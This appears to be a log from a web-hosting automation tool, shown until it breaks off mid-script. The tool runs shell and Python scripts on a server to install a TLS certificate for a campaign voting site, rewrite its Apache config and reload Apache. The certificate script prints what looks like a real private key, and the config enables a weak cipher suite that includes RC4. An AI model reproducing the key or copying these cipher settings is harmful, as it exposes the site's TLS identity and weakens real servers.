2026-04-28 19:54:42: 

chmod 755 /tmp/pkp929393; /tmp/pkp929393; rm /tmp/pkp929393

2026-04-28 19:54:42: 


0


2026-04-28 19:56:22: Establishing a connection
2026-04-28 19:56:22: Establishing a connection
2026-04-28 19:56:22: 

PUT: /tmp/pkp179649

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 19:56:23: 

chmod 755 /tmp/pkp179649; /tmp/pkp179649; rm /tmp/pkp179649

2026-04-28 19:56:23: 


0


2026-04-28 19:57:54: Establishing a connection
2026-04-28 19:57:54: Establishing a connection
2026-04-28 19:57:54: 

PUT: /tmp/pkp471380

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 19:57:54: 

chmod 755 /tmp/pkp471380; /tmp/pkp471380; rm /tmp/pkp471380

2026-04-28 19:57:54: 


0


2026-04-28 20:05:31: Establishing a connection
2026-04-28 20:05:31: Establishing a connection
2026-04-28 20:05:31: 

PUT: /tmp/pkp139320

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 20:05:32: 

chmod 755 /tmp/pkp139320; /tmp/pkp139320; rm /tmp/pkp139320

2026-04-28 20:05:32: 


0


2026-04-28 20:05:59: Establishing a connection
2026-04-28 20:05:59: Establishing a connection
2026-04-28 20:05:59: 

PUT: /tmp/pkp756987

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 20:05:59: 

chmod 755 /tmp/pkp756987; /tmp/pkp756987; rm /tmp/pkp756987

2026-04-28 20:05:59: 


0


2026-04-28 20:07:14: Establishing a connection
2026-04-28 20:07:14: Establishing a connection
2026-04-28 20:07:14: 

PUT: /tmp/pkp505128

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 20:07:15: 

chmod 755 /tmp/pkp505128; /tmp/pkp505128; rm /tmp/pkp505128

2026-04-28 20:07:15: 


0


2026-04-28 20:08:02: Establishing a connection
2026-04-28 20:08:02: Establishing a connection
2026-04-28 20:08:03: 

PUT: /tmp/pkp734221

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 20:08:03: 

chmod 755 /tmp/pkp734221; /tmp/pkp734221; rm /tmp/pkp734221

2026-04-28 20:08:03: 


0


2026-04-28 20:09:36: Establishing a connection
2026-04-28 20:09:37: Establishing a connection
2026-04-28 20:09:37: 

PUT: /tmp/pkp750094

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 20:09:37: 

chmod 755 /tmp/pkp750094; /tmp/pkp750094; rm /tmp/pkp750094

2026-04-28 20:09:37: 


0


2026-04-28 20:11:53: Establishing a connection
2026-04-28 20:11:53: Establishing a connection
2026-04-28 20:11:53: 

PUT: /tmp/pkp986262

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 20:11:54: 

chmod 755 /tmp/pkp986262; /tmp/pkp986262; rm /tmp/pkp986262

2026-04-28 20:11:54: 


0


2026-04-28 20:12:14: Establishing a connection
2026-04-28 20:12:14: 

PUT: /tmp/pkp344760

#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt

cat > $temp_file <<'endmsg'
3c:4f:c8:4a:d8:9a:6e:e8:22:6e:c3:14:ae:40:6a:1c

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBT+RmqnuBldR2qJfJ7+ej8LzMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI4MTkxMzQxWhcNMjYwNzI3MTkxMzQwWjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDLSaQ1HPBlGozacpZRjYWwvyYqb8ilejusL/F+k5JxmkEkpF38
DC4f4FIpGdWWoMAEbA5LF0eZ8hMdCFELJe+qPrQ33hpbal6P1cnbVqmw+gUYJf/6
L0xNbugF4v+5p7LPFQ+aYz6jr1D+gUU+J1LLxOUholvqCmDNpKTUlKWHlf326rub
9vb8sRv2ucaWKTN7UieShVwhwjMcYpnrdFZeX2OYRpwYRtX8Fnx1cr6UncsPEgnK
Lh0R+blqziTwKcltdxk9padXw1x81a7sPYIl7jgyxbWpaV4QC1sh+n9/vfzyGqw0
c6l7MF39e12/1LAG/kos91X5MJnPeLv3tJTLAgMBAAGjggImMIICIjAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUc16bdkCcFoKXhG4S+CGwSaVubW4wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghh2b3RlLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMTYuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB
+QD3AH4AGoudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGd1biANQAI
AAAFAAz1kTkEAwBHMEUCIQC7iXpYv+ZVsn0iRCIJS9YoXcvH5WQBQewBAoyN9xbj
DAIgDNxXSG3HAvOVa+zBPV/oPp3A8Z82ZX4qBPIBB+e8q08AdQCvZ4g7V7BO3Y+m
2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ3VuIjwAAAEAwBGMEQCIF3nC3B5S/S0
dSKTUDrr5pyAPboGJATS3oZ/CU1UeGULAiARTdNYqBljxKqdx6gd8XxJNPTZzThP
gTHgFarAxY01ozANBgkqhkiG9w0BAQsFAAOCAQEABRRFak4hedX2/R+X7n4jDwH2
mK4IDoMnNJo6z8CWacRxVTjYHhii6rpErTq6n4hnbqD6GV6oAaIi2BmbWhXwIcV8
H2H6BdnwaPQkYN8VmykQDTl2yW+P+7/b99C6jjS0ZgJAl41q3iNMXacY6Z9rw8ws
lacO8kzvDGdiqqso21NzxC2zNu6MHQlWQdqHa1uT5UOqGgsnYt3HofSoH3xiw5Bx
fc/qtKghQbWaCvlZ9f6+vkY8KqdQbER8YsthDwc+b8kOcXJrTSHhC5gT5PXLigVM
NocirMCEDtai/lqWeY6J/55IlYU/PRD849Ggk6lE6BfhH+fVYB85a0RNk8rnUA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLSaQ1HPBlGoza
cpZRjYWwvyYqb8ilejusL/F+k5JxmkEkpF38DC4f4FIpGdWWoMAEbA5LF0eZ8hMd
CFELJe+qPrQ33hpbal6P1cnbVqmw+gUYJf/6L0xNbugF4v+5p7LPFQ+aYz6jr1D+
gUU+J1LLxOUholvqCmDNpKTUlKWHlf326rub9vb8sRv2ucaWKTN7UieShVwhwjMc
YpnrdFZeX2OYRpwYRtX8Fnx1cr6UncsPEgnKLh0R+blqziTwKcltdxk9padXw1x8
1a7sPYIl7jgyxbWpaV4QC1sh+n9/vfzyGqw0c6l7MF39e12/1LAG/kos91X5MJnP
eLv3tJTLAgMBAAECggEAH///SEO+Qmaz223Zjww0X5vcryYaMz+S2x+k587lE4WQ
/D/0x3NHY3R/78EFp94Ku+d34dwlROzKk3G2stw4O4KpWHiu33WsCFTtSd380kNZ
FUcODLJF/ukWvwPPoMhEKRLgpOXl0LBikzLYKoOC0K61ft48PRLV0Ck7BSJCYvLd
NcYhmkGVgASFRw9vjtqImHMq4cl+mwejFSqOyjThY7JSw0d5AXhxJTRgyTZK9NUB
FBBdyfxb9xNOs1ntG8ZT9EGhszZZ5GK3WsOCCpfIom5b8qqZVBS+GAqkwu2qGsRb
Sqs72p+pQr7yi6OUDzYCJuChJx+OmJtI2nrPXqwFwQKBgQDwC5V4xVl8S5Uwzjzm
WfreIbwUhDOqZVy3GQH+ppodwCQw4WaDBhn0HPSmh29wVd0GGWsnwrQnnl05u84v
6ADZytvZJhA/ZM/sJGsHcBXZVuM1jPLhL5y8iHDW8cJvLGEfXm5mvMQlZVU2lRP/
TRPPHkcckL670TUHeqxewBlU6wKBgQDYzJ7A+uG+P4nZnbZ5B8+NvyKaF5US6COn
2YPcic4UgZXWAc14qOx42L//oQ9BCDxCZ/SS+fLTYMlYVd+g2adsyaJbV8dfZPX5
90CwSJXbdYstxHCjF/Ozt1iN/h18bxgxUZG5DReiZjOx6SQaWDMeLh7L8cg/Kem3
236KKWtHoQKBgQCBw4FV/DlXu/Q2ogbB77pyAoKOBLl5T7pDML2nT6DYnFn0IqUs
B0xYbp7Ct0xCyefluC/5GoQRNsbmwuO/egebtNIMHUuDOZg866MALlNhXlsNQ9i4
auir8oYtbBvTxYXrUz0TRNAz9weNriFVTfF7cb63bnftSDcGiAZOYkJPaQKBgQDG
YHXjn61wqDM7LVUK6lrBGWRQG8QMyN3XePFvm6k2mlzAtmWNQwUejzcgcf/DQgXh
vb3Nv2iygp26dtlqFb9djCND8c49O+TYFabbp494gNYZyuZGVmRozhv50cypT/6T
IlB1Q8WclGg5I1wlvw8HTqxfcZ4KLg/ubKodQkkoAQKBgAYgCgsiZmJH2Fj0tz/r
8LK/PNwHdWYg4cKNj4BPmOKH1eaSZ3x1Jy302mjG+cDnkQvnPAcIJZ78xn3/mhmF
MHEhp/8MEOHdp86Wk+T4z2dgFvVonxjT5d9Gk67Gvy++oUAdfsnVPDYYL/FU8kTh
B+QDntYRNCAn+28hJEB5aArj
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-28 20:12:15: 

chmod 755 /tmp/pkp344760; /tmp/pkp344760; rm /tmp/pkp344760

2026-04-28 20:12:15: 


dir=/etc/ssl/certs


2026-04-28 20:12:15: 

PUT: /tmp/pkp947718

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-28 20:12:15: 

chmod 755 /tmp/pkp947718; /tmp/pkp947718; rm /tmp/pkp947718

2026-04-28 20:12:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-28 20:12:15: 

PUT: /tmp/pkp827017

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi


2026-04-28 20:12:15: 

chmod 755 /tmp/pkp827017; /tmp/pkp827017; rm /tmp/pkp827017

2026-04-28 20:12:15: 




2026-04-28 20:12:15: 

PUT: /tmp/pkp147196

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-28 20:12:15: 

chmod 755 /tmp/pkp147196; /tmp/pkp147196; rm /tmp/pkp147196

2026-04-28 20:12:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-28 20:12:15: Establishing a connection
2026-04-28 20:12:15: 

PUT: /tmp/pkp297596

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-28 20:12:15: 

chmod 755 /tmp/pkp297596; /tmp/pkp297596; rm /tmp/pkp297596

2026-04-28 20:12:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-28 20:12:15: 

PUT: /tmp/pkp214471

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-28 20:12:15: 

chmod 755 /tmp/pkp214471; /tmp/pkp214471; rm /tmp/pkp214471

2026-04-28 20:12:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf	1655

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-28 20:12:15: 

PUT: /tmp/pkp527604

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
